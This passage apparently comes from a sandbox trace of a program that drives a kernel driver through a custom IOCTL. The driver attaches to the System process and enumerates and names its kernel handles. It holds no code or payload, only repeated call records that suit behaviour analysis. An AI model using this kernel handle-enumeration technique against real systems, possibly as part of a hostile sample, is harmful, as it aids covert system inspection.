ObfDereferenceObject (Object=0xfffffa800248ff20) returned 0x2 [0089.597] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.597] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.597] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0089.597] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.597] PsAcquireProcessExitSynchronization () returned 0x0 [0089.597] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.597] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0089.597] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.597] PsReleaseProcessExitSynchronization () returned 0x2 [0089.597] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.598] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.598] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0089.598] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.598] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.598] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.598] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.598] PsAcquireProcessExitSynchronization () returned 0x0 [0089.598] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.598] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0089.598] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.598] PsReleaseProcessExitSynchronization () returned 0x2 [0089.598] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.598] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.598] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0089.598] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.598] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.598] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.598] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.598] PsAcquireProcessExitSynchronization () returned 0x0 [0089.598] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.598] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0089.598] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.598] PsReleaseProcessExitSynchronization () returned 0x2 [0089.598] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.598] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.599] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0089.599] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.599] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.599] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.599] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.599] PsAcquireProcessExitSynchronization () returned 0x0 [0089.599] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.599] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037c6dd0, HandleInformation=0x0) returned 0x0 [0089.599] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.599] PsReleaseProcessExitSynchronization () returned 0x2 [0089.599] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.599] ObQueryNameString (in: Object=0xfffffa80037c6dd0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.599] ObfDereferenceObject (Object=0xfffffa80037c6dd0) returned 0x2 [0089.599] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.599] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.599] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.599] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.599] PsAcquireProcessExitSynchronization () returned 0x0 [0089.599] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.599] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a4d4b0, HandleInformation=0x0) returned 0x0 [0089.599] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.599] PsReleaseProcessExitSynchronization () returned 0x2 [0089.599] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.599] ObQueryNameString (in: Object=0xfffffa8001a4d4b0, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.599] ObfDereferenceObject (Object=0xfffffa8001a4d4b0) returned 0x2 [0089.599] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.599] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.599] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.599] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.599] PsAcquireProcessExitSynchronization () returned 0x0 [0089.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.600] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0089.600] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.600] PsReleaseProcessExitSynchronization () returned 0x2 [0089.600] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.600] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa8003ac3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.600] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0089.600] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.600] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.600] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.600] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.600] PsAcquireProcessExitSynchronization () returned 0x0 [0089.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.600] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0089.600] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.600] PsReleaseProcessExitSynchronization () returned 0x2 [0089.600] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.600] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.600] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0089.600] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.600] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.600] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.600] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.600] PsAcquireProcessExitSynchronization () returned 0x0 [0089.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.600] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022cc570, HandleInformation=0x0) returned 0x0 [0089.600] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.601] PsReleaseProcessExitSynchronization () returned 0x2 [0089.601] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.601] ObQueryNameString (in: Object=0xfffffa80022cc570, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.601] ObfDereferenceObject (Object=0xfffffa80022cc570) returned 0x2 [0089.601] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.601] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.601] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.601] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.601] PsAcquireProcessExitSynchronization () returned 0x0 [0089.601] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.601] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0089.601] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.601] PsReleaseProcessExitSynchronization () returned 0x2 [0089.601] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.601] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.601] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0089.601] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.601] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.601] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.601] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.601] PsAcquireProcessExitSynchronization () returned 0x0 [0089.601] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.601] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f08050, HandleInformation=0x0) returned 0x0 [0089.601] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.601] PsReleaseProcessExitSynchronization () returned 0x2 [0089.601] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.601] ObQueryNameString (in: Object=0xfffffa8001f08050, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.602] ObfDereferenceObject (Object=0xfffffa8001f08050) returned 0x2 [0089.602] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.602] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.602] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.602] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.602] PsAcquireProcessExitSynchronization () returned 0x0 [0089.602] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.602] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0089.602] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.602] PsReleaseProcessExitSynchronization () returned 0x2 [0089.602] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.602] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.602] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0089.602] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.602] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.602] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.602] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.602] PsAcquireProcessExitSynchronization () returned 0x0 [0089.602] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.602] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037adf20, HandleInformation=0x0) returned 0x0 [0089.602] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.602] PsReleaseProcessExitSynchronization () returned 0x2 [0089.602] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.602] ObQueryNameString (in: Object=0xfffffa80037adf20, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.602] ObfDereferenceObject (Object=0xfffffa80037adf20) returned 0x2 [0089.602] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.602] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.603] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.603] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.603] PsAcquireProcessExitSynchronization () returned 0x0 [0089.603] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.603] ObReferenceObjectByHandle (in: Handle=0xffffffff80000804, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002b40500, HandleInformation=0x0) returned 0x0 [0089.603] ObfDereferenceObject (Object=0xfffff8a002b40500) returned 0x3 [0089.603] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.603] PsReleaseProcessExitSynchronization () returned 0x2 [0089.603] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.603] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.603] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.603] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.603] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.603] PsAcquireProcessExitSynchronization () returned 0x0 [0089.603] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.603] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037b3690, HandleInformation=0x0) returned 0x0 [0089.603] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.603] PsReleaseProcessExitSynchronization () returned 0x2 [0089.603] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.603] ObQueryNameString (in: Object=0xfffffa80037b3690, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.603] ObfDereferenceObject (Object=0xfffffa80037b3690) returned 0x2 [0089.603] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.603] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.603] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.603] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.603] PsAcquireProcessExitSynchronization () returned 0x0 [0089.603] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.603] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0089.603] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.603] PsReleaseProcessExitSynchronization () returned 0x2 [0089.603] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.603] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.604] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0089.604] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.604] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.604] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.604] PsAcquireProcessExitSynchronization () returned 0x0 [0089.604] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.604] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, 